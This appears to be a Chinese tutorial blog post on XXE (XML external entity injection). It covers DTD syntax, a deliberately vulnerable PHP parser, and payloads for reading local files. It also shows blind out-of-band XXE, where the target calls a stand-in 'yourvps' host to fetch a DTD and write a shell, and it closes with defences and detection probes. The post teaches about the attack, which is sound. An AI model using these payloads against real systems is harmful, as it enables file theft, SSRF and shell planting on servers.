前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XXE漏洞原理[通俗易懂]

XXE漏洞原理[通俗易懂]

作者头像
全栈程序员站长
发布2022-08-25 12:54:12
7460
发布2022-08-25 12:54:12
举报
文章被收录于专栏:全栈程序员必看

大家好,又见面了,我是你们的朋友全栈君。

XXE漏洞是XML外部实体注入漏洞,那什么是外部实体呢?


XML DTD

1、文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

2、DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用

Ps:第二条是重点,也是XXE漏洞产生的原因,DTD可以定义外部实体并引用

DTD语法

  • 若DTD要在XML文档中使用,他需要包含在·DOCTYPE声明中
  • 语法
代码语言:javascript
复制
<!DOCTYPE 根元素 [元素声明]> 

  • 实体引用
代码语言:javascript
复制
<!ENTITY 实体名 “”实体值“”> 

  • 示例代码
代码语言:javascript
复制
<?xml version="1.0" encoding="utf-8"?> //xml声明
<!DOCTYPE playwin [ <!ENTITY name "playwin">
]>
<resume>
<name> &name; </name>
</resume>

  • 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 ( ; )。
  • 声明 name 的值为 playwin ,下面引用 &name;xml会自动解析为他的值,如果有的话,否则报错
  • 外部实体
    • 简单的说,就不是xml本身已定义的实体,需要引用在xml文件之外的数据。
    • 语法
代码语言:javascript
复制
<!ENTITY 实体名字 SYSTEM "URI/URL"> 

  • SYSTEM 启了一个声明作用,让解析器知道,这是一个外部实体
  • 如果不在其他环境中,只打开xml文件本身,浏览器默认是不会引用外部实体

  • 根据不同环境不同协议读取外部数据

什么是XXE

  • XXE 也就是 XML外部实体注入攻击

利用方式

  • php环境下
代码语言:javascript
复制
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r($xml);
?>

  • 将以下xml代码进行URL编码,读取文件
代码语言:javascript
复制
 <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE playwin [ <!ENTITY name SYSTEM "file:///D:/phpStudy/PHPTutorial/WWW/1.txt">
]>
<resume>
<name> &name; </name>
</resume>

  • 回显
  • 成功XXE

XXE能做什么

  • blind XXE
    • 若上面php中没有print_r,我们还是可以发起http请求,进行攻击
代码语言:javascript
复制
<?php
$xml=simplexml_load_string($_GET['xml']);
?>

  • 利用参数实体

代码语言:javascript
复制
<!ENTITY % 实体名字 SYSTEM(外部实体加上) ‘实体值’> 

  • vps创建一

代码语言:javascript
复制
 <?php
file_put_contents("shell.php", $_GET['file']) ;
?>

  • 通过过参数实体,请求vps上的dtd文件
    • dtd文件

代码语言:javascript
复制
<!ENTITY % haha "<!ENTITY ok SYSTEM 'http://yourvps/2.php?file=123'>"> 

  • xml文件

代码语言:javascript
复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE playwin [ <!ENTITY % name SYSTEM "http://yourvps/1.dtd">  //请求dtd文件
%name;
%haha;
]>
<resume>
<name> &ok; </name>
</resume>

  • 结果
  • 理论上我们可以写入shell

  • 读取文件
    • 利用各种协力读取想要的文件
    • 读取php文件需要利用php://协议进行base64加密输出,因为php< ,>会影响到xml
  • 命令执行
    • php环境下,xml命令执行要求php装有expect扩展,而且php上解析也需要它
  • 内网探测/SSRF
    • XML 外部实体中是可以使用http://协议,可以利用该请求去探查内网,进行SSRF攻击
  • 进行 DOS 攻击
  • 文件上传
    • 在java中利用jar://协议可实现
  • 钓鱼

防御XXE

  • 禁用开发语言引用外部实体的能力
    • PHP: libxml_disable_entity_loader(true);
    • JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
    • Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 白名单过滤


判断是否存在XXE漏洞

  • xml是否会被解析

代码语言:javascript
复制
 <?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE ROOT [ <!ENTITY playwin "success">
]>
<root>&playwin;</root>

  • 若出现success,则说明解析成功,进行下一步

  • 检测服务器是否支持引用外部实体
代码语言:javascript
复制
<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE ROOT [ <!ENTITY playwin SYSTEM "http://yourvps/xx.txt">
]>
<root>&playwin;</root>

  • 解析成功,说明有XXE漏洞

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年5月1,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • XXE漏洞是XML外部实体注入漏洞,那什么是外部实体呢?
  • XML DTD
  • DTD语法
  • 什么是XXE
  • 利用方式
相关产品与服务
云服务器
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档